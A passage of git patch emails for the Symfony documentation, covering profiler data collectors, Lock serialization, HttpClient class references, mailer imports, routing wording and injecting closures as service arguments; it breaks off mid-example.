-:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`
-class, which implements the interface and provides some utilities and the
-``$this->data`` property to store the collected information.
-
-.. versionadded:: 5.2
-
-    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
-
-The following example shows a custom collector that stores information about the
-request::
-
-    // src/DataCollector/RequestCollector.php
-    namespace App\DataCollector;
-
-    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-
-    class RequestCollector extends AbstractDataCollector
-    {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
-        {
-            $this->data = [
-                'method' => $request->getMethod(),
-                'acceptable_content_types' => $request->getAcceptableContentTypes(),
-            ];
-        }
-    }
-
-These are the method that you can define in the data collector class:
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method:
-    Stores the collected data in local properties (``$this->data`` if you extend
-    from ``AbstractDataCollector``). If you need some services to collect the
-    data, inject those services in the data collector constructor.
-
-    .. caution::
-
-        The ``collect()`` method is only called once. It is not used to "gather"
-        data but is there to "pick up" the data that has been stored by your
-        service.
-
-    .. caution::
-
-        As the profiler serializes data collector instances, you should not
-        store objects that cannot be serialized (like PDO objects) or you need
-        to provide your own ``serialize()`` method.
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method:
-    It's called between requests to reset the state of the profiler. By default
-    it only empties the ``$this->data`` contents, but you can override this method
-    to do additional cleaning.
-
-:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method:
-    Returns the collector identifier, which must be unique in the application.
-    By default it returns the FQCN of the data collector class, but you can
-    override this method to return a custom name (e.g. ``app.request_collector``).
-    This value is used later to access the collector information (see
-    :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings.
-
-The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
-event. If you need to collect data that is only available later, implement
-:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
-and define the ``lateCollect()`` method, which is invoked right before the profiler
-data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
-
-.. note::
-
-    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-    with ``autoconfigure``, then Symfony will start using your data collector after the
-    next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
-
-Adding Web Profiler Templates
------------------------------
-
-The information collected by your data collector can be displayed both in the
-web debug toolbar and in the web profiler. To do so, you need to create a Twig
-template that includes some specific blocks.
-
-First, add the ``getTemplate()`` method in your data collector class to return
-the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::
-
-    // src/DataCollector/RequestCollector.php
-    namespace App\DataCollector;
-
-    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
-
-    class RequestCollector extends AbstractDataCollector
-    {
-        // ...
-
-        public static function getTemplate(): ?string
-        {
-            return 'data_collector/template.html.twig';
-        }
-
-        public function getMethod()
-        {
-            return $this->data['method'];
-        }
-
-        public function getAcceptableContentTypes()
-        {
-            return $this->data['acceptable_content_types'];
-        }
-    }
-
-In the simplest case, you want to display the information in the toolbar
-without providing a profiler panel. This requires to define the ``toolbar``
-block and set the value of two variables called ``icon`` and ``text``:
-
-.. code-block:: html+twig
-
-    {# templates/data_collector/template.html.twig #}
-    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
-
-    {% block toolbar %}
-        {% set icon %}
-            {# this is the content displayed as a panel in the toolbar #}
-            <svg xmlns="http://www.w3.org/2000/svg"> ... </svg>
-            <span class="sf-toolbar-value">Request</span>
-        {% endset %}
-
-        {% set text %}
-            {# this is the content displayed when hovering the mouse over
-               the toolbar panel #}
-            <div class="sf-toolbar-info-piece">
-                <b>Method</b>
-                <span>{{ collector.method }}</span>
-            </div>
-
-            <div class="sf-toolbar-info-piece">
-                <b>Accepted content type</b>
-                <span>{{ collector.acceptableContentTypes|join(', ') }}</span>
-            </div>
-        {% endset %}
-
-        {# the 'link' value set to 'false' means that this panel doesn't
-           show a section in the web profiler #}
-        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
-    {% endblock %}
-
-.. tip::
-
-    Built-in collector templates define all their images as embedded SVG files.
-    This makes them work everywhere without having to mess with web assets links:
-
-    .. code-block:: twig
-
-        {% set icon %}
-            {{ include('data_collector/icon.svg') }}
-            {# ... #}
-        {% endset %}
-
-If the toolbar panel includes extended web profiler information, the Twig template
-must also define additional blocks:
-
-.. code-block:: html+twig
-
-    {# templates/data_collector/template.html.twig #}
-    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
-
-    {% block toolbar %}
-        {% set icon %}
-            {# ... #}
-        {% endset %}
-
-        {% set text %}
-            <div class="sf-toolbar-info-piece">
-                {# ... #}
-            </div>
-        {% endset %}
-
-        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }}
-    {% endblock %}
-
-    {% block head %}
-        {# Optional. Here you can link to or define your own CSS and JS contents. #}
-        {# Use {{ parent() }} to extend the default styles instead of overriding them. #}
-    {% endblock %}
-
-    {% block menu %}
-        {# This left-hand menu appears when using the full-screen profiler. #}
-        <span class="label">
-            <span class="icon"><img src="..." alt=""/></span>
-            <strong>Request</strong>
-        </span>
-    {% endblock %}
-
-    {% block panel %}
-        {# Optional, for showing the most details. #}
-        <h2>Acceptable Content Types</h2>
-        <table>
-            <tr>
-                <th>Content Type</th>
-            </tr>
-
-            {% for type in collector.acceptableContentTypes %}
-            <tr>
-                <td>{{ type }}</td>
-            </tr>
-            {% endfor %}
-        </table>
-    {% endblock %}
-
-The ``menu`` and ``panel`` blocks are the only required blocks to define the
-contents displayed in the web profiler panel associated with this data collector.
-All blocks have access to the ``collector`` object.
-
-.. note::
-
-    The position of each panel in the toolbar is determined by the collector
-    priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`.
-
-.. note::
-
-    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-    with ``autoconfigure``, then Symfony will start displaying your collector data
-    in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
-
-.. _data_collector_tag:
-
-Enabling Custom Data Collectors
--------------------------------
-
-If you don't use Symfony's default configuration with
-:ref:`autowire and autoconfigure <service-container-services-load-example>`
-you'll need to configure the data collector explicitly:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\DataCollector\RequestCollector:
-                tags:
-                    -
-                        name: data_collector
-                        # must match the value returned by the getName() method
-                        id: 'App\DataCollector\RequestCollector'
-                        # optional template (it has more priority than the value returned by getTemplate())
-                        template: 'data_collector/template.html.twig'
-                        # optional priority (positive or negative integer; default = 0)
-                        # priority: 300
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\DataCollector\RequestCollector">
-                    <!-- the 'template' attribute has more priority than the value returned by getTemplate() -->
-                    <tag name="data_collector"
-                        id="App\DataCollector\RequestCollector"
-                        template="data_collector/template.html.twig"
-                    />
-                    <!-- optional 'priority' attribute (positive or negative integer; default = 0) -->
-                    <!-- priority="300" -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\DataCollector\RequestCollector;
-
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(RequestCollector::class)
-                ->tag('data_collector', [
-                    'id' => RequestCollector::class,
-                    // optional template (it has more priority than the value returned by getTemplate())
-                    'template' => 'data_collector/template.html.twig',
-                    // optional priority (positive or negative integer; default = 0)
-                    // 'priority' => 300,
-                ]);
-        };
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c1e2c902605..e6b1d44aa69 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -362,7 +362,7 @@ data_collector
 **Purpose**: Create a class that collects custom data for the profiler
 
 For details on creating your own custom data collection, read the
-:doc:`/profiler/data_collector` article.
+:ref:`profiler-data-collector` article.
 
 doctrine.event_listener
 -----------------------
@@ -718,7 +718,7 @@ the tag.
 
 This is mostly useful when running your projects in application servers that
 reuse the Symfony application between requests to improve performance. This tag
-is applied for example to the built-in :doc:`data collectors </profiler/data_collector>`
+is applied for example to the built-in :ref:`data collectors <profiler-data-collector>`
 of the profiler to delete all their information.
 
 .. _dic_tags-mime:
diff --git a/testing/profiling.rst b/testing/profiling.rst
index db7714b9d1f..0637e134a91 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -126,5 +126,5 @@ finish. It can be achieved by embedding the token in the error message::
 
 .. tip::
 
-    Read the API for built-in :doc:`data collectors </profiler/data_collector>`
+    Read the API for built-in :ref:`data collectors <profiler-data-collector>`
     to learn more about their interfaces.

From 2d4ba43093b407ca4f8ed42a5595ab272d1fa522 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 31 Jan 2023 13:03:30 +0100
Subject: [PATCH 4211/7107] [Lock] Complete Lock example for less ambiguity

---
 components/lock.rst | 36 +++++++++++++++++++++++++++++++++++-
 1 file changed, 35 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index bce846ef0b7..fa048e56264 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -75,8 +75,42 @@ Serializing Locks
 The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
 :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
-continue the job in another process using the same lock::
+continue the job in another process using the same lock.
 
+First, you may create a serializable class containing the resource and the
+key of the lock::
+
+    // src/Lock/RefreshTaxonomy.php
+    namespace App\Lock;
+
+    use Symfony\Component\Lock\Key;
+
+    class RefreshTaxonomy
+    {
+        private object $article;
+        private Key $key;
+
+        public function __construct(object $article, Key $key)
+        {
+            $this->article = $article;
+            $this->key = $key;
+        }
+
+        public function getArticle(): object
+        {
+            return $this->article;
+        }
+
+        public function getKey(): Key
+        {
+            return $this->key;
+        }
+    }
+
+Then, you can use this class to dispatch all that's needed for another process
+to handle the rest of the job::
+
+    use App\Lock\RefreshTaxonomy;
     use Symfony\Component\Lock\Key;
     use Symfony\Component\Lock\Lock;
 

From 855c0f3ca70c7275fc6dbd0d04ba966ef5db5aae Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 31 Jan 2023 13:17:04 +0100
Subject: [PATCH 4212/7107] [HttpClient] Replaced code block by `:class:` when
 relevant

---
 http_client.rst | 51 +++++++++++++++++++++++++++----------------------
 1 file changed, 28 insertions(+), 23 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 23cc928ac2a..a94587a966e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -790,8 +790,9 @@ SSRF (Server-side request forgery) Handling
 requests to an arbitrary domain. These attacks can also target the internal
 hosts and IPs of the attacked server.
 
-If you use an ``HttpClient`` together with user-provided URIs, it is probably a
-good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+If you use an :class:`Symfony\\Component\\HttpClient\\HttpClient` together
+with user-provided URIs, it is probably a good idea to decorate it with a
+:class:`Symfony\\Component\\HttpClient\\NoPrivateNetworkHttpClient`. This will
 ensure local networks are made inaccessible to the HTTP client::
 
     use Symfony\Component\HttpClient\HttpClient;
@@ -871,8 +872,8 @@ Configuring CurlHttpClient Options
 
 PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt`
 function. In order to make the component more portable when not using cURL, the
-``CurlHttpClient`` only uses some of those options (and they are ignored in the
-rest of clients).
+:class:`Symfony\\Component\\HttpClient\\CurlHttpClient` only uses some of those
+options (and they are ignored in the rest of clients).
 
 Add an ``extra.curl`` option in your configuration to pass those extra options::
 
@@ -1059,7 +1060,8 @@ Canceling Responses
 
 To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
-``cancel()`` method of ``ResponseInterface``::
+``cancel()`` method of
+:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`::
 
     $response->cancel();
 
@@ -1073,7 +1075,8 @@ Or throw an exception from a progress callback::
         },
     ]);
 
-The exception will be wrapped in an instance of ``TransportExceptionInterface``
+The exception will be wrapped in an instance of
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
 and will abort the request.
 
 In case the response was canceled using ``$response->cancel()``,
@@ -1273,7 +1276,8 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too::
     Because ``$response->getInfo()`` is non-blocking, it shouldn't throw by design.
 
 When multiplexing responses, you can deal with errors for individual streams by
-catching ``TransportExceptionInterface`` in the foreach loop::
+catching :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+in the foreach loop::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         try {
@@ -1417,9 +1421,9 @@ PSR-18 and PSR-17
 
 This component implements the `PSR-18`_ (HTTP Client) specifications via the
 :class:`Symfony\\Component\\HttpClient\\Psr18Client` class, which is an adapter
-to turn a Symfony ``HttpClientInterface`` into a PSR-18 ``ClientInterface``.
-This class also implements the relevant methods of `PSR-17`_ to ease creating
-request objects.
+to turn a Symfony :class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`
+into a PSR-18 ``ClientInterface``. This class also implements the relevant
+methods of `PSR-17`_ to ease creating request objects.
 
 To use it, you need the ``psr/http-client`` package and a `PSR-17`_ implementation:
 
@@ -1480,9 +1484,9 @@ The `HTTPlug`_ v1 specification was published before PSR-18 and is superseded by
 it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
-``Psr18Client`` implementing relevant parts of PSR-17, ``HttplugClient`` also
-implements the factory methods defined in the related ``php-http/message-factory``
-package.
+:class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
+``HttplugClient`` also implements the factory methods defined in the related
+``php-http/message-factory`` package.
 
 .. code-block:: terminal
 
@@ -1629,10 +1633,6 @@ The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
 
-.. versionadded:: 5.2
-
-    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
-
 In order to help writing more advanced response processors, the component provides
 an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
 processing the stream of chunks as they come back from the network::
@@ -1690,15 +1690,20 @@ has many safety checks that will throw a ``LogicException`` if the chunk
 passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
 one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
+.. versionadded:: 5.2
+
+    :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait` was introduced in Symfony 5.2.
+
 Testing
 -------
 
-This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use in tests that shouldn't make actual HTTP requests. Such tests can be
-useful, as they will run faster and produce consistent results, since they're
-not dependent on an external service. By not making actual HTTP requests there
-is no need to worry about the service being online or the request changing
-state, for example deleting a resource.
+This component includes the :class:`Symfony\\Component\\HttpClient\\MockHttpClient`
+and :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` classes to use
+in tests that shouldn't make actual HTTP requests. Such tests can be useful, as they
+will run faster and produce consistent results, since they're not dependent on an
+external service. By not making actual HTTP requests there is no need to worry about
+the service being online or the request changing state, for example deleting
+a resource.
 
 ``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
 HTTP client in this component. When you type-hint with ``HttpClientInterface``

From 201b622f40a2cda8935d63d090a0b63c5880869b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 31 Jan 2023 19:04:26 +0100
Subject: [PATCH 4213/7107] Minor

Page: https://symfony.com/doc/5.4/routing.html

Reason: Might be misunderstood as "unique throughout the entire project"

It's explained 2 paragraphs further down:

> Routes can define any number of parameters, but each of them can only be used once on each route
---
 routing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index de258200f91..5b3900868d0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -498,9 +498,8 @@ However, it's common to define routes where some parts are variable. For example
 the URL to display some blog post will probably include the title or slug
 (e.g. ``/blog/my-first-post`` or ``/blog/all-about-symfony``).
 
-In Symfony routes, variable parts are wrapped in ``{ ... }`` and they must have
-a unique name. For example, the route to display the blog post contents is
-defined as ``/blog/{slug}``:
+In Symfony routes, variable parts are wrapped in ``{ }``.
+For example, the route to display the blog post contents is defined as ``/blog/{slug}``:
 
 .. configuration-block::
 

From f213e181207c99c20f7cc6897c2977a6e62620ad Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 31 Jan 2023 21:53:28 +0100
Subject: [PATCH 4214/7107] Minor: Removing code line

This line is not new, it's already present in the code block above.
---
 mailer.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 29819af5a52..8499e09ff3a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -752,8 +752,6 @@ the ``TemplatedEmail`` class:
 
 .. code-block:: diff
 
-    + use Symfony\Bridge\Twig\Mime\TemplatedEmail;
-
     $email = (new TemplatedEmail())
         // ...
 

From a750fd5f98448d3082ac89e718a7f12adce48b44 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 10:30:17 +0100
Subject: [PATCH 4215/7107] remove versionadded directive for Symfony 5.2

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 127c689638f..360e9b3cfcc 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1695,10 +1695,6 @@ has many safety checks that will throw a ``LogicException`` if the chunk
 passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
 one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
-.. versionadded:: 5.2
-
-    :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait` was introduced in Symfony 5.2.
-
 Testing
 -------
 

From 44cad7eac0793d2b58f43d1d7948bced742f8360 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 10:38:21 +0100
Subject: [PATCH 4216/7107] fix link to the ExpressionLanguage syntax reference

---
 reference/constraints/When.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 79f1cb8ffa2..acd35cddcf5 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -147,7 +147,7 @@ One way to accomplish this is with the When constraint:
 
 The `expression`_ option is the expression that must return true in order
 to trigger the validation of the attached constraints. To learn more about
-the expression language syntax, see :doc:`/components/expression_language/syntax`.
+the expression language syntax, see :doc:`/reference/formats/expression_language`.
 
 For more information about the expression and what variables are available
 to you, see the `expression`_ option details below.
@@ -165,7 +165,7 @@ If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
 validation of constraints won't be triggered.
 
 To learn more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:doc:`/reference/formats/expression_language`.
 
 Depending on how you use the constraint, you have access to 1 or 2 variables
 in your expression:

From 5e1f2f499c2261d2656a3a4687f2d56c6a0fc919 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 15:03:28 +0100
Subject: [PATCH 4217/7107] fix reference to extending expression language
 section

---
 reference/formats/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 0e819f5a817..c1e0db99240 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -186,7 +186,7 @@ This will print out ``true``.
 .. tip::
 
     To read how to register your own functions to use in an expression, see
-    ":doc:`/components/expression_language/extending`".
+    ":ref:`expression-language-extending`".
 
 .. _component-expression-arrays:
 

From 4b81379ffcdba6567ac7f5c30b4339678bbdd883 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 15:10:01 +0100
Subject: [PATCH 4218/7107] add missing telegram docs link target

---
 notifier/telegram.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier/telegram.rst b/notifier/telegram.rst
index 500ce27f245..2e967a579f6 100644
--- a/notifier/telegram.rst
+++ b/notifier/telegram.rst
@@ -89,3 +89,4 @@ When sending message with inline keyboard buttons with callback data, you can us
         );
 
 .. _`message options`: https://core.telegram.org/bots/api
+.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 993d960e0b0cbd37ac48d4a85013d96944a0a64d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Feb 2023 17:40:22 +0100
Subject: [PATCH 4219/7107] Minor fix

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 55bc0b6bf54..1b3f21f031f 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -217,7 +217,7 @@ event::
 .. _profiler-data-collector:
 
 Creating a Data Collector
-=========================
+-------------------------
 
 The Symfony Profiler obtains its profiling and debug information using some
 special classes called data collectors. Symfony comes bundled with a few of

From 56ed214d4bb171358a82560139ea597edeb4327e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Feb 2023 21:54:16 +0100
Subject: [PATCH 4220/7107] Minor

---
 profiler.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 1b3f21f031f..125e012e91c 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -2,7 +2,7 @@ Profiler
 ========
 
 The profiler is a powerful **development tool** that gives detailed information
-about the execution of any request. 
+about the execution of any request.
 
 .. caution::
 
@@ -211,6 +211,7 @@ event::
         $response = $event->getResponse();
         $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
     }
+
 .. index::
    single: Profiling; Data collector
 

From 08fa6d176149f144d9aa37e1d1659033d053d187 Mon Sep 17 00:00:00 2001
From: Punt <33422215+Punt13140@users.noreply.github.com>
Date: Thu, 2 Feb 2023 14:41:23 +0100
Subject: [PATCH 4221/7107] Import

Import ContainerConfigurator and ContainerBuilder
---
 bundles/configuration.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 5df1177d910..50b68705698 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -334,6 +334,8 @@ add this logic to the bundle class directly::
     namespace Acme\SocialBundle;
 
     use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class AcmeSocialBundle extends AbstractBundle

From 02e16d503a86bbee00d392dd96d0865377da618e Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Thu, 2 Feb 2023 15:33:39 +0100
Subject: [PATCH 4222/7107] [Profiler] Fix obsolete link

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 125e012e91c..7b5a3373ffa 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -92,7 +92,7 @@ Run this command to get the list of collectors actually enabled in your app:
 
     $ php bin/console debug:container --tag=data_collector
 
-You can also :doc:`create your own data collector </profiler/data_collector>` to
+You can also :ref:`create your own data collector <profiler-data-collector>` to
 store any data generated by your app and display it in the debug toolbar and the
 profiler web interface.
 

From 2d974758e3e8c2c1b2a5b8b1de878ce90415370e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 06:12:20 +0100
Subject: [PATCH 4223/7107] Use DOCtor-RST 1.37.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 48fc477767a..6781180a290 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.35.1
+                uses: docker://oskarstark/doctor-rst:1.37.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 9c1724359b1bbd8f15d908ab3e5a3acb80c8e75d Mon Sep 17 00:00:00 2001
From: Knallcharge <Knallcharge@users.noreply.github.com>
Date: Fri, 3 Feb 2023 07:26:31 +0100
Subject: [PATCH 4224/7107] Update notifier.rst

fixed typo
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index a5b1ec2456d..b744c346d1e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -903,7 +903,7 @@ is dispatched. Listeners receive a
         $message = $event->getOriginalMessage();
 
         // log something
-        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+        $this->logger(sprintf('The message has been successfully sent and has id: %s, $message->getMessageId()'));
     });
 
 .. TODO

From 32dfcbd48ba6b9df8538891cabef17f97c714b3f Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Thu, 2 Feb 2023 21:25:10 +0000
Subject: [PATCH 4225/7107] import function env to avoid fatal error if copying
 docs

---
 mailer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8499e09ff3a..7ed34fb375b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -54,6 +54,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     .. code-block:: php
 
         // config/packages/mailer.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
         return static function (ContainerConfigurator $containerConfigurator): void {
@@ -1193,6 +1194,7 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {

From 3c71f300d9fe369add288eb16f81db2ededf4bb0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 19:40:40 +0100
Subject: [PATCH 4226/7107] [DependencyInjection] Add `closure` argument type

---
 service_container.rst | 94 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 94 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5593b02d8a4..f23f6dc09ac 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -700,6 +700,100 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Injecting a Closure as an Argument
+----------------------------------
+
+It is possible to inject a callable as an argument of a service.
+Let's add an argument to our ``MessageGenerator`` constructor::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+
+    class MessageGenerator
+    {
+        private $logger;
+        private $messageHash;
+
+        public function __construct(LoggerInterface $logger, callable $generateMessageHash)
+        {
+            $this->logger = $logger;
+            $this->messageHash = $generateMessageHash();
+        }
+        // ...
+    }
+
+Now, we would add a new invokable service to generate the message hash::
+
+    // src/Hash/MessageHashGenerator.php
+    namespace App\Hash;
+
+    class MessageHashGenerator
+    {
+        public function __invoke(): string
+        {
+            // Compute and return a message hash
+        }
+    }
+
+Our configuration looks like this:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ... same code as before
+
+            # explicitly configure the service
+            App\Service\MessageGenerator:
+                arguments:
+                    $logger: '@monolog.logger.request'
+                    $generateMessageHash: !closure '@App\Hash\MessageHashGenerator'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... same code as before -->
+
+                <!-- Explicitly configure the service -->
+                <service id="App\Service\MessageGenerator">
+                    <argument key="$logger" type="service" id="monolog.logger.request"/>
+                    <argument key="$generateMessageHash" type="closure" id="App\Hash\MessageHashGenerator"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MessageGenerator;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            // ... same code as before
+
+            // explicitly configure the service
